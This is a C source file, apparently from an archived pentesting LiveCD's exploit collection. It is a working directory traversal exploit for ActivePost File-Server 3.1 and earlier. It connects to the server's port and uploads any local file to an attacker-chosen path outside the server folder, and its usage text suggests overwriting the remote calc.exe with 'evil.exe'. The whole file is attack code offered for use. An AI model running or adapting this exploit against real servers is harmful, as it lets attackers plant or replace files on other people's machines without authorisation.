home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / activepost / actpup.c < prev   
C/C++ Source or Header  |  2005-02-12  |  4KB  |  177 lines

  1. /*
  2.  
  3. by Luigi Auriemma
  4.  
  5. */
  6.  
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10.  
  11. #ifdef WIN32
  12.     #include <winsock.h>
  13.     #include "winerr.h"
  14.  
  15.     #define close   closesocket
  16. #else
  17.     #include <unistd.h>
  18.     #include <sys/socket.h>
  19.     #include <sys/types.h>
  20.     #include <arpa/inet.h>
  21.     #include <netdb.h>
  22.     #include <netinet/in.h>
  23. #endif
  24.  
  25.  
  26.  
  27. #define VER     "0.1"
  28. #define PORT    6004
  29. #define BUFFSZ  4104    /* don't modify */
  30.  
  31.  
  32.  
  33. #define SEND    if(send(sd, buff, BUFFSZ, 0) \
  34.                   < 0) std_err();
  35. #define RECV    for(tot = 0; tot < BUFFSZ; tot += len) { \
  36.                     len = recv(sd, buff + tot, BUFFSZ - tot, 0); \
  37.                     if(len < 0) std_err(); \
  38.                     if(!len) break; \
  39.                 }
  40.  
  41.  
  42.  
  43. u_long resolv(char *host);
  44. void std_err(void);
  45.  
  46.  
  47.  
  48. int main(int argc, char *argv[]) {
  49.     FILE    *fd;
  50.     struct  sockaddr_in peer;
  51.     int     sd,
  52.             len,
  53.             tot;
  54.     u_short port = PORT;
  55.     u_char  buff[BUFFSZ];
  56.  
  57.  
  58.     setbuf(stdout, NULL);
  59.  
  60.     fputs("\n"
  61.         "ActivePost File-Server <= 3.1 traversal file uploader "VER"\n"
  62.         "by Luigi Auriemma\n"
  63.         "e-mail: aluigi@altervista.org\n"
  64.         "web:    http://aluigi.altervista.org\n"
  65.         "\n", stdout);
  66.  
  67.     if(argc < 4) {
  68.         printf("\nUsage: %s <local_filename> <remote_filename> <server> [port(%d)]\n"
  69.             "\n"
  70.             "  local_filename is the name of one of your local files that you wanna put on\n"
  71.             "  the remote server.\n"
  72.             "  remote_filename instead is the name you wanna give to the file and moreover\n"
  73.             "  the traversal pattern (/..) to reach the desired path on which to put it.\n"
  74.             "  Are needed at least 3 patterns to exit from the ActivePost Server folder,\n"
  75.             "  like /../../../filename or /..../filename\n"
  76.             "  However don't worry because the complete real remote path on which your file\n"
  77.             "  is saved is EVER visible in the server reply.\n"
  78.             "\n"
  79.             "  Examples:\n"
  80.             "    %s evil.exe /../../../windows/calc.exe localhost\n"
  81.             "    %s evil.exe /..../windows/calc.exe localhost\n"
  82.             "\n"
  83.             "  In this case your file evil.exe will overwrite the calc.exe file of the\n"
  84.             "  remote host (if ActivePost has been installed in c:\\).\n"
  85.             "\n", argv[0], PORT, argv[0], argv[0]);
  86.         exit(1);
  87.     }
  88.  
  89. #ifdef WIN32
  90.     WSADATA    wsadata;
  91.     WSAStartup(MAKEWORD(1,0), &wsadata);
  92. #endif
  93.  
  94.     printf("- open local file \"%s\"\n", argv[1]);
  95.     fd = fopen(argv[1], "rb");
  96.     if(!fd) std_err();
  97.  
  98.     if(argc > 4) port = atoi(argv[4]);
  99.  
  100.     peer.sin_addr.s_addr = resolv(argv[3]);
  101.     peer.sin_port        = htons(port);
  102.     peer.sin_family      = AF_INET;
  103.  
  104.     printf("- target   %s:%hu\n",
  105.         inet_ntoa(peer.sin_addr),
  106.         port);
  107.  
  108.     sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  109.     if(sd < 0) std_err();
  110.  
  111.     if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
  112.       < 0) std_err();
  113.  
  114.     memset(buff, 0x00, BUFFSZ);
  115.  
  116.     fputs("- send first header\n", stdout);
  117.     *(u_long *)buff = 0x1f5;
  118.     SEND;
  119.     RECV;
  120.  
  121.     printf("- send filename (%s)\n", argv[2]);
  122.     *(u_long *)buff = 0x1f6;
  123.     strncpy(buff + 8, argv[2], BUFFSZ - 8);
  124.     SEND;
  125.     RECV;
  126.  
  127.     printf("- upload file (%s)\n", argv[1]);
  128.     *(u_long *)buff = 0x1f8;
  129.     while((len = fread(buff + 8, 1, BUFFSZ - 8, fd))) {
  130.         *(u_long *)(buff + 4) = len;
  131.         SEND;
  132.     }
  133.     fclose(fd);
  134.  
  135.     memset(buff, 0x00, BUFFSZ);
  136.  
  137.     fputs("- send final header\n", stdout);
  138.     *(u_long *)buff = 0x1f9;
  139.     SEND;
  140.  
  141.     RECV;
  142.     printf("- remote file has been saved exactly here:\n"
  143.         "  %s\n", buff + 8);
  144.  
  145.     close(sd);
  146.     fputs("- finished\n\n", stdout);
  147.     return(0);
  148. }
  149.  
  150.  
  151.  
  152. u_long resolv(char *host) {
  153.     struct  hostent *hp;
  154.     u_long  host_ip;
  155.  
  156.     host_ip = inet_addr(host);
  157.     if(host_ip == INADDR_NONE) {
  158.         hp = gethostbyname(host);
  159.         if(!hp) {
  160.             printf("\nError: Unable to resolve hostname (%s)\n", host);
  161.             exit(1);
  162.         } else host_ip = *(u_long *)(hp->h_addr);
  163.     }
  164.     return(host_ip);
  165. }
  166.  
  167.  
  168.  
  169. #ifndef WIN32
  170.     void std_err(void) {
  171.         perror("\nError");
  172.         exit(1);
  173.     }
  174. #endif
  175.  
  176.  
  177.